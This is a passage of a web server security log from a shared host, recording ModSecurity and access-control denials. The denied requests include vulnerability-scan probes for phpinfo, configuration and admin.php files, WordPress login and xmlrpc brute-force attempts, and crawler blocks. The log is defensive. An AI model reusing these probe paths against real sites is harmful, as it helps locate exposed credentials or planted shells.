"www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302bV-dFiaX9AtWiQxhAAAARw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:57.299057 2026] [security2:error] [pid 715691:tid 715967] [client 185.199.157.16:22951] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-admin/images/admin.php"] [unique_id "ai302bV-dFiaX9AtWiQxhQAAAYg"] [Sat Jun 13 18:24:57.329320 2026] [security2:error] [pid 715691:tid 715842] [client 159.223.112.69:40856] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302bV-dFiaX9AtWiQxhwAAAQs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:57.338986 2026] [security2:error] [pid 715691:tid 715853] [client 91.92.42.86:50636] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai302bV-dFiaX9AtWiQxiwAAARY"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.341814 2026] [security2:error] [pid 715691:tid 715875] [client 91.92.42.86:50644] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai302bV-dFiaX9AtWiQxjAAAASw"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.341816 2026] [security2:error] [pid 646876:tid 647084] [client 91.92.42.86:50600] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai302dyTkdrNlD40tSHcowAAAEw"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.350207 2026] [security2:error] [pid 646876:tid 647103] [client 91.92.42.86:50670] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai302dyTkdrNlD40tSHcpgAAAF8"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.365706 2026] [security2:error] [pid 715691:tid 715940] [client 91.92.42.86:50682] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai302bV-dFiaX9AtWiQxjwAAAW0"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.366607 2026] [security2:error] [pid 646876:tid 647046] [client 91.92.42.86:50694] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai302dyTkdrNlD40tSHcpwAAACY"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.367233 2026] [security2:error] [pid 715691:tid 715883] [client 91.92.42.86:50716] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai302bV-dFiaX9AtWiQxkAAAATQ"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.381810 2026] [security2:error] [pid 646876:tid 647126] [client 91.92.42.86:50736] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai302dyTkdrNlD40tSHcqgAAAHY"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.382241 2026] [security2:error] [pid 715691:tid 715937] [client 91.92.42.86:50748] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai302bV-dFiaX9AtWiQxkwAAAWo"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.382662 2026] [security2:error] [pid 646876:tid 647099] [client 91.92.42.86:50508] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai302dyTkdrNlD40tSHcqwAAAFs"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.397914 2026] [security2:error] [pid 646876:tid 647079] [client 91.92.42.86:50510] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai302dyTkdrNlD40tSHcrAAAAEc"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.402504 2026] [security2:error] [pid 646876:tid 647109] [client 91.92.42.86:50752] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai302dyTkdrNlD40tSHcrQAAAGU"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.418223 2026] [security2:error] [pid 715691:tid 715933] [client 91.92.42.86:50774] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/test.php"] [unique_id "ai302bV-dFiaX9AtWiQxlgAAAWY"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.420004 2026] [security2:error] [pid 715691:tid 715865] [client 91.92.42.86:50812] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai302bV-dFiaX9AtWiQxlwAAASI"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.467518 2026] [security2:error] [pid 715691:tid 715870] [client 91.92.42.86:50576] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai302bV-dFiaX9AtWiQxmgAAASc"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.508372 2026] [security2:error] [pid 715691:tid 715906] [client 91.92.42.86:50850] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai302bV-dFiaX9AtWiQxogAAAUs"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.508695 2026] [security2:error] [pid 646876:tid 647086] [client 91.92.42.86:50836] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai302dyTkdrNlD40tSHctAAAAE4"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.510844 2026] [security2:error] [pid 646876:tid 647039] [client 91.92.42.86:50900] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/test.php"] [unique_id "ai302dyTkdrNlD40tSHctgAAAB8"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.511681 2026] [security2:error] [pid 646876:tid 647051] [client 91.92.42.86:50856] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai302dyTkdrNlD40tSHcuAAAACs"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.511823 2026] [security2:error] [pid 646876:tid 647035] [client 91.92.42.86:50870] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai302dyTkdrNlD40tSHcuQAAABs"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.513111 2026] [security2:error] [pid 715691:tid 715849] [client 159.223.112.69:40864] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302bV-dFiaX9AtWiQxowAAARI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:57.522268 2026] [security2:error] [pid 715691:tid 715909] [client 91.92.42.86:50614] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai302bV-dFiaX9AtWiQxpAAAAU4"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.523183 2026] [security2:error] [pid 715691:tid 715946] [client 91.92.42.86:50932] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.acc.bxz.mybluehost.me"] [uri "/index.php"] [unique_id "ai302bV-dFiaX9AtWiQxpQAAAXM"], referer: http://webdisk.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.523856 2026] [security2:error] [pid 646876:tid 647061] [client 91.92.42.86:50654] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.acc.bxz.mybluehost.me"] [uri "/index.php"] [unique_id "ai302dyTkdrNlD40tSHcvAAAADU"], referer: http://webmail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.586010 2026] [security2:error] [pid 715691:tid 715959] [client 159.223.112.69:40878] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302bV-dFiaX9AtWiQxqAAAAYA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:57.683193 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:24:57.683471 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:24:57.776369 2026] [security2:error] [pid 715691:tid 715798] [remote 17.22.253.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai302bV-dFiaX9AtWiQxswABEFc"] [Sat Jun 13 18:24:57.803627 2026] [security2:error] [pid 715691:tid 715961] [client 159.223.112.69:40882] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302bV-dFiaX9AtWiQxtQAAAYI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:57.812019 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.102:34663] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:57.812425 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.102:34663] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:57.996344 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.68:41124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:57.996799 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.68:41124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:58.021485 2026] [security2:error] [pid 715691:tid 715886] [client 159.223.112.69:40886] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302rV-dFiaX9AtWiQxvQAAATc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:58.029742 2026] [access_compat:error] [pid 646876:tid 646935] [remote 57.141.14.31:28592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:58.030177 2026] [access_compat:error] [pid 646876:tid 646935] [remote 57.141.14.31:28592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:58.052121 2026] [security2:error] [pid 646876:tid 646912] [remote 17.241.219.165:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai302tyTkdrNlD40tSHczAAACCE"] [Sat Jun 13 18:24:58.191319 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:24:58.191623 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:24:58.220031 2026] [security2:error] [pid 715691:tid 715727] [remote 17.246.23.137:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai302rV-dFiaX9AtWiQxxgABMBE"] [Sat Jun 13 18:24:58.272693 2026] [security2:error] [pid 646876:tid 646967] [remote 47.128.124.149:28668] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "coscharis-tech.com"] [uri "/product-category/software/antivirus-software/"] [unique_id "ai302tyTkdrNlD40tSHc1gAADVg"] [Sat Jun 13 18:24:58.328336 2026] [access_compat:error] [pid 715691:tid 715715] [remote 57.141.14.30:33440] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:58.328615 2026] [access_compat:error] [pid 715691:tid 715715] [remote 57.141.14.30:33440] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:58.385623 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.56:63656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:58.385913 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.56:63656] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:58.464118 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.9:31512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:58.464545 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.9:31512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:58.505704 2026] [security2:error] [pid 646876:tid 647126] [client 74.7.230.31:52234] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.africantheatreassociation.org"] [uri "/robots.txt"] [unique_id "ai302tyTkdrNlD40tSHc2wAAAHY"] [Sat Jun 13 18:24:58.547971 2026] [security2:error] [pid 646876:tid 647099] [client 185.199.157.16:48183] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/uploads/admin.php"] [unique_id "ai302tyTkdrNlD40tSHc3QAAAFs"] [Sat Jun 13 18:24:58.606543 2026] [security2:error] [pid 715691:tid 715947] [client 210.217.96.217:4461] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai302rV-dFiaX9AtWiQx2AAAAXQ"] [Sat Jun 13 18:24:58.606699 2026] [security2:error] [pid 715691:tid 715947] [client 210.217.96.217:4461] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai302rV-dFiaX9AtWiQx2AAAAXQ"] [Sat Jun 13 18:24:58.712682 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:24:58.713129 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 